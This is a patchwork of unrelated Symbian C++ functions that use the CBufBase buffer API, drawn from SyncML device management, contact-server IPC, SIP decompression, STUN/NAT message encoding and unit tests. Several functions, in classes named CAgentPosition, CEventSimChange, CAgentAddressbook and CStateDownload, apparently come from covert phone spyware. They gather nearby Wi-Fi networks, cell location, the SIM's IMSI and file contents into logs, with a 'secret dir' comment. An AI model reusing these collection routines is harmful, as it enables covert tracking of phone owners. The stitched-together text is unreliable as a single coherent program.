// ----------------------------------------------------------------------------- // CNSmlDmDevDetailAdapter::AddObjectToBufferL() // ----------------------------------------------------------------------------- void CNSmlDmDevDetailAdapter::AddObjectToBufferL( CBufBase& aCrcBuf, const TDesC8& aURI ) { CBufBase* buf = CBufFlat::NewL( 1 ); CleanupStack::PushL( buf ); FetchLeafObjectL( aURI, *buf ); aCrcBuf.InsertL( aCrcBuf.Size(), buf->Ptr(0) ); _LIT8( KNSmlDmSeparator, ";" ); aCrcBuf.InsertL( aCrcBuf.Size(), KNSmlDmSeparator ); CleanupStack::PopAndDestroy(); //buf }
void CNcdNodeLink::InternalizeRequestL( MCatalogsBaseMessage& aMessage ) const { DLTRACEIN(("")); CBufBase* buf = CBufFlat::NewL( KBufExpandSize ); CleanupStack::PushL( buf ); RBufWriteStream stream( *buf ); CleanupClosePushL( stream ); // Include all the necessary node data to the stream ExternalizeDataForRequestL( stream ); // Commits data to the stream when closing. CleanupStack::PopAndDestroy( &stream ); if ( buf->Size() > 0 ) { DLTRACE(( "Completing the message, buf len: %d", buf->Ptr(0).Length() )); } // If this leaves, ReceiveMessage function will complete the message. aMessage.CompleteAndReleaseL( buf->Ptr( 0 ), KErrNone ); DLTRACE(("Deleting the buf")); CleanupStack::PopAndDestroy( buf ); DLTRACEOUT(("")); }
// ----------------------------------------------------------------------------- // CNSmlDmDevDetailAdapter::FetchLeafObjectSizeL( const TDesC8& aURI, // const TDesC8& aLUID, const TDesC8& aType, const TInt aResultsRef, // const TInt aStatusRef ) // ----------------------------------------------------------------------------- void CNSmlDmDevDetailAdapter::FetchLeafObjectSizeL( const TDesC8& aURI, const TDesC8& /*aLUID*/, const TDesC8& aType, const TInt aResultsRef, const TInt aStatusRef ) { _DBG_FILE("CNSmlDmDevDetailAdapter::FetchLeafObjectSizeL(): begin"); CBufBase *object = CBufFlat::NewL( 1 ); CleanupStack::PushL( object ); CSmlDmAdapter::TError retValue = FetchLeafObjectL( aURI, *object ); TInt objSizeInBytes = object->Size(); TBuf8<KNSmlMaxSizeBufferLength> stringObjSizeInBytes; stringObjSizeInBytes.Num( objSizeInBytes ); object->Reset(); object->InsertL( 0, stringObjSizeInBytes ); iDmCallback->SetStatusL( aStatusRef, retValue ); iDmCallback->SetResultsL( aResultsRef, *object, aType); CleanupStack::PopAndDestroy(); //object _DBG_FILE("CNSmlDmDevDetailAdapter::FetchLeafObjectSizeL(): end"); }
void ut_cstunbinding::UT_CSTUNBinding_HandleDataLL( ) { _LIT8( KPassword,"aaaabbbbccccdddd"); TBufC8<16> password( KPassword ); _LIT8( KTransactionId,"aaaabbbb"); TNATFWUNSAFTransactionID transactionID; transactionID.Copy( KTransactionId ); CNATFWUNSAFBindingRequest* request = CNATFWUNSAFBindingRequest::NewLC( transactionID ); CBufBase* msg = request->EncodeL( password ); CleanupStack::PushL( msg ); TInt length = msg->Size(); HBufC8* readBuf1 = HBufC8::NewLC( length ); TPtr8 writable1( readBuf1->Des() ); msg->Read( 0, writable1 ); TInetAddr remoteAddr; TBool consumed = EFalse; HBufC8* ptr = iBinding->HandleDataL( *readBuf1, consumed, remoteAddr ); EUNIT_ASSERT( NULL == ptr ); EUNIT_ASSERT( EFalse == consumed ); delete ptr; CleanupStack::PopAndDestroy( readBuf1 ); CleanupStack::PopAndDestroy( msg ); CleanupStack::PopAndDestroy( request ); }
HBufC8* CAgentPosition::GetWiFiBufferL(TLocationAdditionalData* additionalData) { CBufBase* buffer = CBufFlat::NewL(50); CleanupStack::PushL(buffer); CWlanScanInfo* scanInfo=CWlanScanInfo::NewL(); CleanupStack::PushL(scanInfo); CWlanMgmtClient* client=CWlanMgmtClient::NewL(); CleanupStack::PushL(client); client->GetScanResults(*scanInfo); for(scanInfo->First(); !scanInfo->IsDone(); scanInfo->Next() ) { TWiFiInfo wifiInfo; Mem::FillZ(&wifiInfo,sizeof(wifiInfo)); //Retrieve BSSID TWlanBssid bssid; scanInfo->Bssid( bssid ); //wifiInfo.macAddress.Zero(); //wifiInfo.macAddress.Copy(bssid); for(TInt k = 0; k < bssid.Length(); k++) wifiInfo.macAddress[k] = bssid[k]; //Retrieve transmision level TInt8 rxLevel = scanInfo->RXLevel(); wifiInfo.rssi = rxLevel; //Retrieve SSID TBuf8<36> ssid; TInt err; err = GetSSID(scanInfo, ssid); if(err == KErrNone) { wifiInfo.ssidLen = ssid.Length(); for(TInt i=0; i<wifiInfo.ssidLen; i++) wifiInfo.ssid[i] = ssid[i]; } else { wifiInfo.ssidLen = 0; } additionalData->uStructNum += 1; buffer->InsertL(buffer->Size(), &wifiInfo, sizeof(TWiFiInfo)); } CleanupStack::PopAndDestroy(client); CleanupStack::PopAndDestroy(scanInfo); HBufC8* result = buffer->Ptr(0).AllocL(); CleanupStack::PopAndDestroy(buffer); return result; }
// ---------------------------------------------------------------------------- // TTCPCompMsgEnd::DataReceivedL // ---------------------------------------------------------------------------- // void TTCPCompMsgEnd::DataReceivedL( TPtr8 aData, TUint& aNextLength ) { // panic if sigcomp is not supported in debug mode.leaves in release mode. __SIP_ASSERT_LEAVE( iMsgAssembler.SigComp().IsSupported(), KErrGeneral ); // panic if received data is not compressed in debug mode. // leaves in release mode. __SIP_ASSERT_LEAVE( iMsgAssembler.SigComp().IsSigCompMsg( aData ), KErrGeneral ); // panic if received data is not completed compressed msg in debug mode. // leaves in release mode. __SIP_ASSERT_LEAVE( iMsgAssembler.SigComp().IsCompleteSigCompMessageL( aData ), KErrGeneral ); TUint bytesConsumed( 0 ); CBufBase* decompressedData = iMsgAssembler.SigComp().DecompressL( aData, bytesConsumed, ETrue); TUint dataLen( static_cast<TUint>( aData.Length() ) ); // Whole data was not decompressed and non-decompressed data might // be part of next sigcomp message, remember amount of non-decompressed // data iMsgAssembler.SetUnConsumedBytes( dataLen - bytesConsumed ); if ( bytesConsumed < dataLen ) { CleanupStack::PushL(decompressedData); aData.Delete(0, bytesConsumed); HBufC8* newData = HBufC8::NewL( decompressedData->Size() + aData.Length() ); // copy the msg buffer data and the received data to new data buffer TPtr8 newDataPtr = newData->Des(); newDataPtr.Append(decompressedData->Ptr(0)); CleanupStack::PopAndDestroy(decompressedData); newDataPtr.Append(aData); // delete all content of received data aData.Delete( 0, aData.Length() ); CleanupStack::PushL(newData); DecideNextStateL( newDataPtr, aNextLength ); CleanupStack::PopAndDestroy(newData); } else if ( bytesConsumed == dataLen ) { CleanupStack::PushL( decompressedData ); aData.Delete(0, bytesConsumed); TPtr8 decompressedDataPtr = decompressedData->Ptr(0); DecideNextStateL( decompressedDataPtr, aNextLength ); CleanupStack::PopAndDestroy( decompressedData ); } else // bytesConsumed > dataLen error happens, reset the state { delete decompressedData; iMsgAssembler.ChangeState( MMsgAssemblerContext::EMsgInit ); } }
//Encode UNSAF message with two attributes void UT_CNATFWUNSAFMessage::TestEncode4L() { const TUint8 KExpectedResult[] = { 0, 1, //UNSAF message type: Binding Request 0, 36, //Message length 0x21, 0x12, 0xa4, 0x42, //Magic cookie 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0xa, 0xb, //TransactionID //ERROR-CODE attribute 0, 9, //type 0, 20, //length of value element 0, 0, //zero 2, //class 25, //number 'E', 'r', 'r', 'o', //Reason Phrase 'r', ' ', 'r', 'e', 's', 'u', 'l', 't', ' ', 'n', 'o', 'w', //UNKNOWN-ATTRIBUTES attribute 0, 0xa, //type 0, 8, //length of value element 0x12, 0x34, //first unknown attribute 0xab, 0x0c, 0xff, 0x90, 0x12, 0x34 //repeated attribute }; _LIT8(KReason, "Error result now"); TInt responseCode = 225; CNATFWUNSAFAttribute* attr = CNATFWUNSAFErrorCodeAttribute::NewLC(responseCode, KReason); iMsg->AddAttributeL(attr); CleanupStack::Pop(attr); attr = NULL; TUint attrType = 0x1234; TUint attrType2 = 0xab0c; TUint attrType3 = 0xff90; CNATFWUNSAFUnknownAttributesAttribute* uaAttr = CNATFWUNSAFUnknownAttributesAttribute::NewLC(); uaAttr->AddContainedAttributeL(attrType); uaAttr->AddContainedAttributeL(attrType2); uaAttr->AddContainedAttributeL(attrType3); iMsg->AddAttributeL(uaAttr); CleanupStack::Pop(uaAttr); CBufBase* msg = iMsg->EncodeL(); CleanupStack::PushL(msg); EUNIT_ASSERT(CNATFWUNSAFMessage::EHeaderSize + 36 == msg->Size()); CompareEncodedUNSAFMessageL(KExpectedResult, *msg); CleanupStack::PopAndDestroy(msg); }
/** Searches all contact items in the view for fields that contain the search strings specified. @capability ReadUserData @param aFindWords A descriptor array containing one or more search strings @param aMatchedContacts On return, an array of matching contact items @param find behaviour configuration uid to be passed to the server. */ void RContactRemoteView::ContactsMatchingCriteriaL(const MDesCArray& aFindWords, RPointerArray<CViewContact>& aMatchedContacts, TBool aPrefixSearch,TUid aUid) { if(aUid != KNullUid) { TIpcArgs args(aUid.iUid); User::LeaveIfError(SendReceive(ECntSendPluginUidToServer,args)); } CBufBase* buffer = CBufFlat::NewL(32); CleanupStack::PushL(buffer); RBufWriteStream writeStream(*buffer); CleanupClosePushL(writeStream); writeStream.WriteUint32L(aPrefixSearch); const TInt count = aFindWords.MdcaCount(); writeStream.WriteUint32L(count); for (TInt i=0; i<count; ++i) { TPtrC ptr = aFindWords.MdcaPoint(i); writeStream.WriteUint32L(ptr.Length()); writeStream << ptr; } writeStream.CommitL(); CleanupStack::PopAndDestroy(&writeStream); //writeStream.Close() TPtr8 ptr(buffer->Ptr(0)); const TInt bufferSize = buffer->Size(); TPckg<TInt> size(bufferSize); TPckgBuf<TInt> pckg; TIpcArgs args(&pckg,&size,&ptr); User::LeaveIfError(SendReceive(ECntContactMatchingCriteriaExternalizedSize,args)); CleanupStack::PopAndDestroy(buffer); //Internalize Contacts HBufC8* buf=HBufC8::NewLC(pckg()); TPtr8 contactsbufPtr(buf->Des()); TIpcArgs args2(&contactsbufPtr); User::LeaveIfError(SendReceive(ECntGetContactMatchingCriteria,args2)); RDesReadStream readStream(contactsbufPtr); CleanupClosePushL(readStream); const TInt findCount = readStream.ReadUint32L(); for (TInt zz=0;zz<findCount;++zz) { CViewContact* thisContact = CViewContact::NewLC(KNullContactId); readStream >> *thisContact; aMatchedContacts.AppendL(thisContact); CleanupStack::Pop(thisContact); } CleanupStack::PopAndDestroy(2, buf); }
void CStateDownload::DumpFileL(const TDesC& aFileName) { _LIT(KNull,"\x00"); _LIT(KDir,"$dir$"); TDownloadAdditionalData additionalData; //check if file it's inside RCS secret dir TParsePtrC parsePtrC(aFileName); if(iPrivatePath.CompareF(parsePtrC.DriveAndPath())==0) { //the file is in the private dir, we have to modify the path additionalData.fileName.Copy(KDir); additionalData.fileName.Append(parsePtrC.NameAndExt()); additionalData.fileName.Append(KNull); //add NULL terminator additionalData.uFileNamelen = additionalData.fileName.Size(); } else { additionalData.fileName.Copy(aFileName); additionalData.fileName.Append(KNull); //add NULL terminator additionalData.uFileNamelen = additionalData.fileName.Size(); } RBuf8 fileBuf(FileUtils::ReadFileContentsL(iFs, aFileName)); if(fileBuf.Size()>0) { fileBuf.CleanupClosePushL(); CLogFile* logFile = CLogFile::NewLC(iFs); logFile->CreateLogL(LOGTYPE_DOWNLOAD, &additionalData); logFile->AppendLogL(fileBuf); logFile->CloseLogL(); CleanupStack::PopAndDestroy(logFile); CleanupStack::PopAndDestroy(&fileBuf); } else { //something went wrong, usually a KErrNoMemory has been raised _LIT(KDownloadError,"Error in downloading file"); CBufBase* buffer = CBufFlat::NewL(50); CleanupStack::PushL(buffer); buffer->InsertL(buffer->Size(),(TUint8*)KDownloadError().Ptr(),KDownloadError().Size()); HBufC8* byteBuf = buffer->Ptr(0).AllocLC(); CLogFile* logFile = CLogFile::NewLC(iFs); logFile->CreateLogL(LOGTYPE_INFO); logFile->AppendLogL(*byteBuf); logFile->CloseLogL(); CleanupStack::PopAndDestroy(logFile); CleanupStack::PopAndDestroy(byteBuf); CleanupStack::PopAndDestroy(buffer); } }
// ------------------------------------------------------------------------------------------------ // CNSmlDataModBase::MergeRxL // Merges received item with item in exported from the local database. // ------------------------------------------------------------------------------------------------ EXPORT_C void CNSmlDataModBase::MergeRxL( CBufBase& aNewItem, CBufBase& aOldItem, TBool aFieldLevel ) { _DBG_FILE("CNSmlDataModBase::MergeRxL(): begin"); if( NeedsMerge() ) { HBufC8* b1 = HBufC8::NewLC(aNewItem.Size() + aOldItem.Size()); *b1 = aNewItem.Ptr(0); TPtr8 ptrB1 = b1->Des(); TPtr8 p2 = aOldItem.Ptr(0); MergeL( ptrB1, p2, aFieldLevel ); aNewItem.Reset(); aNewItem.InsertL(0, ptrB1); CleanupStack::PopAndDestroy(); // b1 } else if ( iUsedRemoteMimeType == -1 ) { User::Leave( KErrNotFound ); } _DBG_FILE("CNSmlDataModBase::MergeRxL(): end"); }
HBufC8* CEventSimChange::GetImsiBufferL(const TDesC8& aImsi) { CBufBase* buffer = CBufFlat::NewL(50); CleanupStack::PushL(buffer); TUint32 len = sizeof(len) + aImsi.Size(); buffer->InsertL(buffer->Size(), &len, sizeof(len)); buffer->InsertL(buffer->Size(), aImsi.Ptr(), aImsi.Size()); HBufC8* result = buffer->Ptr(0).AllocL(); CleanupStack::PopAndDestroy(buffer); return result; }
// ------------------------------------------------------------------------------------------------ // CNSmlDataModBase::StripTxL // Strips data that is to be transmitted to the sync partner. // ------------------------------------------------------------------------------------------------ EXPORT_C void CNSmlDataModBase::StripTxL( CBufBase& aItem ) { _DBG_FILE("CNSmlDataModBase::StripTxL(): begin"); HBufC8* buf = HBufC8::NewLC(aItem.Size()); *buf = aItem.Ptr(0); TPtr8 ptrBuf = buf->Des(); StripL(ptrBuf); aItem.Reset(); aItem.InsertL(0, ptrBuf); CleanupStack::PopAndDestroy(); // buf _DBG_FILE("CNSmlDataModBase::StripTxL(): end"); }
void CVBookmarkConverter::ExportVBookmarkL( CBufBase& aBuffer ) { LOGGER_ENTERFN( "CVBookmarkConverter::ExportVBookmarkL" ); iDesc = NULL; iBuffer = &aBuffer; iWriteBufPosition = 0; iWriteBufSize = aBuffer.Size(); ExportL(); iBuffer->ResizeL( iWriteBufPosition ); LOGGER_LEAVEFN( "CVBookmarkConverter::ExportVBookmarkL" ); }
HBufC8* CAgentAddressbook::GetTTimeBufferL(const TTime aTime) { TInt64 timestamp = aTime.Int64(); CBufBase* buffer = CBufFlat::NewL(50); CleanupStack::PushL(buffer); TUint32 len = sizeof(len) + sizeof(timestamp); buffer->InsertL(buffer->Size(), &len, sizeof(len)); buffer->InsertL(buffer->Size(), ×tamp, sizeof(timestamp)); HBufC8* result = buffer->Ptr(0).AllocL(); CleanupStack::PopAndDestroy(buffer); return result; }
// ----------------------------------------------------------------------------- // CNATFWUNSAFMessage::EncodeL // 1. Encode the UNSAF message normally. // 2. Create a MESSAGE-INTEGRITY attribute. This updates also the header's // length field to include the MESSAGE-INTEGRITY before computing the hash. // 3. Encode it to the last attribute of the UNSAF message. // 4. Create a FINGERPRINT attribute. This updates also the header's // length field to include the FINGERPRINT before computing the hash. // 5. Encode it to the last attribute of the UNSAF message. // ----------------------------------------------------------------------------- // EXPORT_C CBufBase* CNATFWUNSAFMessage::EncodeL( const TDesC8& aSharedSecret, TBool aUseFingerprint) const { CBufBase* msg = EncodeL(); CleanupStack::PushL(msg); if ( aSharedSecret.Length() ) { //Long term credentials need be used if there's a REALM attribute CNATFWUNSAFMessageIntegrityAttribute* msgIntegrity = CNATFWUNSAFMessageIntegrityAttribute::NewLC(aSharedSecret, *msg, HasAttribute( CNATFWUNSAFAttribute::ERealm )); HBufC8* encodedMsgIntegrity = msgIntegrity->EncodeL(); CleanupStack::PushL(encodedMsgIntegrity); msg->InsertL(msg->Size(), *encodedMsgIntegrity); CleanupStack::PopAndDestroy(encodedMsgIntegrity); CleanupStack::PopAndDestroy(msgIntegrity); } if ( aUseFingerprint ) { CNATFWUNSAFFingerprintAttribute* fingerprint = CNATFWUNSAFFingerprintAttribute::NewLC(*msg); HBufC8* encodedFingerprint = fingerprint->EncodeL(); CleanupStack::PushL(encodedFingerprint); msg->InsertL(msg->Size(), *encodedFingerprint); CleanupStack::PopAndDestroy(encodedFingerprint); CleanupStack::PopAndDestroy(fingerprint); } CleanupStack::Pop(msg); msg->Compress(); return msg; }
//Encode UNSAF message with two attributes void UT_CNATFWUNSAFMessage::TestEncode3L() { const TUint8 KExpectedResult[] = { 0, 1, //UNSAF message type: Binding Request 0, 24, //Message length 0x21, 0x12, 0xa4, 0x42, //Magic cookie 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0xa, 0xb, //TransactionID //RESPONSE-ADDRESS attribute 0, 2, //type 0, 8, //length of value element 0, //undefined 1, //family 0xab, 0xcd, //port 5, 6, 7, 8, //address //MAPPED-ADDRESS attribute 0, 1, //type 0, 8, //length of value element 0, //undefined 1, //family 0x12, 0x34, //port 0x50, 0x40, 0xff, 0xaa //address }; TInetAddr addr(INET_ADDR(5,6,7,8), 0xabcd); CNATFWUNSAFAttribute* attr = CNATFWUNSAFResponseAddressAttribute::NewLC(addr); iMsg->AddAttributeL(attr); CleanupStack::Pop(attr); attr = NULL; TInetAddr addr2(0x5040ffaa, 0x1234); attr = CNATFWUNSAFMappedAddressAttribute::NewLC(addr2); iMsg->AddAttributeL(attr); CleanupStack::Pop(attr); CBufBase* msg = iMsg->EncodeL(); CleanupStack::PushL(msg); EUNIT_ASSERT(CNATFWUNSAFMessage::EHeaderSize + 24 == msg->Size()); CompareEncodedUNSAFMessageL(KExpectedResult, *msg); CleanupStack::PopAndDestroy(msg); }
HBufC8* CAgentPosition::GetCellIdBufferL() { TUint cellId=0; TUint lac=0; TInt32 signalStrength = 0; TBuf<CTelephony::KNetworkIdentitySize> network; TBuf<CTelephony::KNetworkCountryCodeSize> cc; TBuf<CTelephony::KNetworkLongNameSize> oper; iPhone->GetCellIDSync(cellId, lac, network, cc, oper); iPhone->GetSignalStrengthSync(signalStrength); // signalStrength is set to 0 if not available cellId = cellId & 0xFFFF; // jo, maybe redundant CBufBase* buffer = CBufFlat::NewL(50); CleanupStack::PushL(buffer); TCellInfo cellInfo; TTime now; now.UniversalTime(); //TInt64 filetime = GetFiletime(now); TInt64 filetime = TimeUtils::GetFiletime(now); cellInfo.filetime.dwHighDateTime = (filetime >> 32); cellInfo.filetime.dwLowDateTime = (filetime & 0xFFFFFFFF); // Converts CountryCode from string to number TLex lex(cc); lex.Val(cellInfo.cell.dwMobileCountryCode, EDecimal); // Converts NetworkCode from string to number lex.Assign(network); lex.Val(cellInfo.cell.dwMobileNetworkCode, EDecimal); cellInfo.cell.dwLocationAreaCode = lac; cellInfo.cell.dwCellID = cellId; cellInfo.cell.dwTimingAdvance = 0; // there are no public APIs for this cellInfo.cell.dwRxLevel = signalStrength; cellInfo.cell.dwRxQuality = 0; TUint32 type = TYPE_CELL; buffer->InsertL(0, &type, sizeof(TUint32)); buffer->InsertL(buffer->Size(), &cellInfo, sizeof(TCellInfo)); HBufC8* result = buffer->Ptr(0).AllocL(); CleanupStack::PopAndDestroy(buffer); return result; }
//Encode UNSAF message without any attributes void UT_CNATFWUNSAFMessage::TestEncodeL() { const TUint8 KExpectedResult[] = { 0, 1, //UNSAF message type: Binding Request 0, 0, //Message length 0x21, 0x12, 0xa4, 0x42, //Magic cookie 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0xa, 0xb //TransactionID }; CBufBase* msg = iMsg->EncodeL(); CleanupStack::PushL(msg); EUNIT_ASSERT(CNATFWUNSAFMessage::EHeaderSize == msg->Size()); CompareEncodedUNSAFMessageL(KExpectedResult, *msg); CleanupStack::PopAndDestroy(msg); }
// ----------------------------------------------------------------------------- // CNATFWUNSAFAttribute::EncodeL // ----------------------------------------------------------------------------- // HBufC8* CNATFWUNSAFAttribute::EncodeL() const { HBufC8* value = EncodeValueL(); CleanupStack::PushL(value); TInt attrValLength = value->Length(); //Pad non-DWORD-boundary aligned attributes with spaces if needed. Spaces //used instead of \0 in order to not mess up buggy C implementations. const TInt KGranularity = 4; TInt bytesInLastBlock = attrValLength % KGranularity; TInt bytesToAppend = KGranularity - bytesInLastBlock; if (0 < bytesInLastBlock && !IsWordBoundaryAligned(Type())) { CBufBase* valueBuf = CBufFlat::NewL(attrValLength + bytesToAppend); CleanupStack::PushL(valueBuf); valueBuf->InsertL(0, *value, attrValLength); const TChar KSpace(' '); for (TInt i = 0; i < bytesToAppend; ++i) { valueBuf->InsertL(valueBuf->Size(), &KSpace, 1); } // Store value pointer for proper cleanupstack handling HBufC8* oldValue = value; value = valueBuf->Ptr(0).AllocL(); CleanupStack::PopAndDestroy(valueBuf); CleanupStack::PopAndDestroy( oldValue ); CleanupStack::PushL( value ); } HBufC8* attribute = HBufC8::NewLC(value->Length() + EValueOffset); TPtr8 ptr = attribute->Des(); ptr.FillZ(EValueOffset); NATFWUNSAFUtils::WriteNetworkOrder16L(ptr, ETypeOffset, Type()); NATFWUNSAFUtils::WriteNetworkOrder16L(ptr, ELengthOffset, static_cast<TUint16>(attrValLength)); ptr.Append(*value); CleanupStack::Pop(attribute); CleanupStack::PopAndDestroy(value); return attribute; }
/*! * Fetch contact */ TInt CNsmlContactsDataStoreExtensionPrivate::ExportContactsL( const TUid &uid, CBufBase &contactbufbase ) { DBG_ARGS(_S("CNsmlContactsDataStoreExtensionPrivate::ExportContactsL: BEGIN: UID: %d"), uid); TInt error(KErrNone); QList<QContact> contacts; QBuffer contactsbuf; contactsbuf.open(QBuffer::ReadWrite); mWriter->setDevice( &contactsbuf ); QContact contact = mContactManager->contact( uid.iUid ); error = mContactManager->error(); if( error != QContactManager::NoError ) { DBG_ARGS(_S("CNsmlContactsDataStoreExtensionPrivate::ExportContactsL:Error %d"), error ); return error; } contacts.append( contact ); if( mExporter->exportContacts( contacts, QVersitDocument::VCard21Type ) ) { QList<QVersitDocument> documents = mExporter->documents(); mWriter->startWriting( documents ); bool status = mWriter->waitForFinished(); DBG_ARGS(_S("CNsmlContactsDataStoreExtensionPrivate::ExportContactsL:status %d"), status); HBufC8* buf = XQConversions::qStringToS60Desc8( contactsbuf.data() ); contactbufbase.InsertL( contactbufbase.Size(), *buf ); delete buf; } else { error = KErrGeneral; DBG_ARGS(_S("CNsmlContactsDataStoreExtensionPrivate::ExportContactsL:Error in exporting %d"), error ); } TPtr8 ptrbuf(contactbufbase.Ptr(0)); DBG_DUMP( (void*)ptrbuf.Ptr(), ptrbuf.Length(), _S8("CNsmlContactsDataStoreExtensionPrivate::ExportContactsL: From DB:")); _DBG_FILE("CNsmlContactsDataStoreExtensionPrivate::ExportContactsL: END"); return error; }
// ----------------------------------------------------------------------------- // CNSmlDmDevDetailAdapter::DevDetailValueCrcL() // ----------------------------------------------------------------------------- TInt CNSmlDmDevDetailAdapter::DevDetailValueCrcL() { CBufBase* crcBuf = CBufFlat::NewL( 1 ); CleanupStack::PushL( crcBuf ); AddObjectToBufferL( *crcBuf, KNSmlDMDevDetailDevTypNodeName() ); AddObjectToBufferL( *crcBuf, KNSmlDMDevDetailOEMNodeName() ); AddObjectToBufferL( *crcBuf, KNSmlDMDevDetailFwVNodeName() ); AddObjectToBufferL( *crcBuf, KNSmlDMDevDetailSwVNodeName() ); AddObjectToBufferL( *crcBuf, KNSmlDMDevDetailHwVNodeName() ); AddObjectToBufferL( *crcBuf, KNSmlDMDevDetailLrgObjNodeName() ); AddObjectToBufferL( *crcBuf, KNSmlDMDevDetailMaxDepthNodeName() ); AddObjectToBufferL( *crcBuf, KNSmlDMDevDetailMaxTotLenNodeName() ); AddObjectToBufferL( *crcBuf, KNSmlDMDevDetailMaxSegLenNodeName() ); TUint16 crc = 0; Mem::Crc( crc, crcBuf->Ptr(0).Ptr(), crcBuf->Size() ); CleanupStack::PopAndDestroy(); // crcBuf return crc; }
void UT_CNATFWUNSAFMessage::TestEncodeWithHashL() { const TUint8 KExpectedResult[] = { 0, 1, //UNSAF message type: Binding Request 0, 36, //Message length 0x21, 0x12, 0xa4, 0x42, //Magic cookie 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0xa, 0xb, //TransactionID //RESPONSE-ADDRESS attribute 0, 2, //type 0, 8, //length of value element 0, //undefined 1, //family 0xab, 0xcd, //port 5, 6, 7, 8, //address //MESSAGE-INTEGRITY attribute 0, 8, //type 0, SHA1_HASH //length of value element //???? //HMAC: To be found out how to verify HMAC correctness }; TInetAddr addr(INET_ADDR(5,6,7,8), 0xabcd); CNATFWUNSAFAttribute* attr = CNATFWUNSAFResponseAddressAttribute::NewLC(addr); iMsg->AddAttributeL(attr); CleanupStack::Pop(attr); attr = NULL; CBufBase* msg = iMsg->EncodeL(_L8("password")); CleanupStack::PushL(msg); EUNIT_ASSERT(CNATFWUNSAFMessage::EHeaderSize + 36 == msg->Size()); //Compare up to the beginning of HMAC CompareEncodedUNSAFMessageL(KExpectedResult, *msg, CNATFWUNSAFMessage::EHeaderSize + 16); CleanupStack::PopAndDestroy(msg); }
// ----------------------------------------------------------------------------- // CNATFWUNSAFMessage::EncodeL // ----------------------------------------------------------------------------- // EXPORT_C CBufBase* CNATFWUNSAFMessage::EncodeL() const { CBufBase* msg = EncodeMessageHeaderLC(); for (TInt i = 0; i < iAttributes.Count(); ++i) { if (iAttributes[i]->Type() != CNATFWUNSAFAttribute::EMessageIntegrity && iAttributes[i]->Type() != CNATFWUNSAFAttribute::EFingerprint) { HBufC8* attribute = iAttributes[i]->EncodeL(); CleanupStack::PushL(attribute); msg->InsertL(msg->Size(), *attribute); CleanupStack::PopAndDestroy(attribute); } } CleanupStack::Pop(msg); msg->Compress(); SetMessageLength(*msg); return msg; }
DMAD_EXPORT_C void CDmAdEngine::FetchLeafObjectSizeL(const TDesC8& aUri, const TDesC8& aLuid, const TDesC8& aType, TInt aResultsRef, TInt aStatusRef) { TRACE("CDmAdEngine::FetchLeafObjectSizeL"); DEBUG_LOG1(_L8("aUri %S"), &aUri); DEBUG_LOG1(_L8("aLuid %S"), &aLuid); DEBUG_LOG1(_L8("aType %S"), &aType); DEBUG_LOG2(_L("aResultsRef = %d, aStatusRef = %d"), aResultsRef, aStatusRef); TPtrC8 uri(TDmAdUtil::RemoveDotSlash(aUri)); TInt status = KErrNone; CBufBase* object = 0; TRAPD(err, status = DoFetchLeafObjectL(uri, aLuid, aType, object)); if (err != KErrNone) { iCallBack->SetStatusL(aStatusRef, err); return; } if (status != KErrNone) { delete object; iCallBack->SetStatusL(aStatusRef, status); return; } CleanupStack::PushL(object); TInt objSizeInBytes = object->Size(); HBufC8* sizeBuf = TDmAdUtil::IntToDes8LC(objSizeInBytes); object->Reset(); object->InsertL(0, *sizeBuf); iCallBack->SetResultsL(aResultsRef, *object, aType); iCallBack->SetStatusL(aStatusRef, status); CleanupStack::PopAndDestroy(2); //sizeBuf, object }
/** Convert between view indexes and contact ids. This method makes the request to the server. @capability ReadUserData */ void RContactRemoteView::GetContactIdsL(const CArrayFix<TInt>& aIndexes, CContactIdArray& aContactIds) { CBufBase* buffer = CBufFlat::NewL(32); CleanupStack::PushL(buffer); RBufWriteStream writeStream(*buffer); CleanupClosePushL(writeStream); const TInt count = aIndexes.Count(); writeStream.WriteUint32L(count); for (TInt i=0; i<count; ++i) { writeStream.WriteUint32L(aIndexes[i]); } writeStream.CommitL(); CleanupStack::PopAndDestroy(&writeStream); //writeStream.Close() TPtr8 indexes(buffer->Ptr(0)); const TInt bufferSize = buffer->Size(); TPckg<TInt> size(bufferSize); HBufC8* buf=HBufC8::NewLC(bufferSize); TPtr8 ids(buf->Des()); TIpcArgs args(&size, &indexes, &ids); User::LeaveIfError(SendReceive(ECntGetContactIds,args)); RDesReadStream readStream(ids); CleanupClosePushL(readStream); CContactIdArray* array = CContactIdArray::NewLC(); readStream >> *array; const TInt arrayCount = array->Count(); for(TInt loop=0;loop<arrayCount;loop++) aContactIds.AddL((*array)[loop]); CleanupStack::PopAndDestroy(4,buffer); //array, &readStream, buf, buffer }
TBool UT_CNATFWUNSAFMessage::CompareEncodedUNSAFMessage( const TUint8* aExpectedResult, CBufBase& aUNSAFMessage, TUint aMaxBytesToCompare, TUint& aFirstDifference, TUint8& aExpected, TUint8& aActual) { TPtr8 unsafMessage = aUNSAFMessage.Ptr(0); for (TInt i=0; i < aUNSAFMessage.Size() && i < aMaxBytesToCompare; ++i) { if (aExpectedResult[i] != unsafMessage[i]) { aFirstDifference = i; aExpected = aExpectedResult[i]; aActual = unsafMessage[i]; return EFalse; } } return ETrue; }
//Encode UNSAF message with one attribute void UT_CNATFWUNSAFMessage::TestEncode2L() { const TUint8 KExpectedResult[] = { 0, 1, //UNSAF message type: Binding Request 0, 0x18, //Message length (one MAPPED-ADDRESS attribute) 0x21, 0x12, 0xa4, 0x42, //Magic cookie 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0xa, 0xb, //TransactionID //MAPPED-ADDRESS attribute 0, 1, //type 0, 0x14, //length of value element 0, //undefined 2, //family IPv6 0x00, 0x00, //port 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 //address }; TInetAddr addr(0x00000000, 0x0000); CNATFWUNSAFMappedAddressAttribute* attr = CNATFWUNSAFMappedAddressAttribute::NewLC(addr); iMsg->AddAttributeL(attr); CleanupStack::Pop(attr); CBufBase* msg = iMsg->EncodeL(); CleanupStack::PushL(msg); EUNIT_ASSERT(CNATFWUNSAFMessage::EHeaderSize + 24 == msg->Size()); CompareEncodedUNSAFMessageL(KExpectedResult, *msg); CleanupStack::PopAndDestroy(msg); }
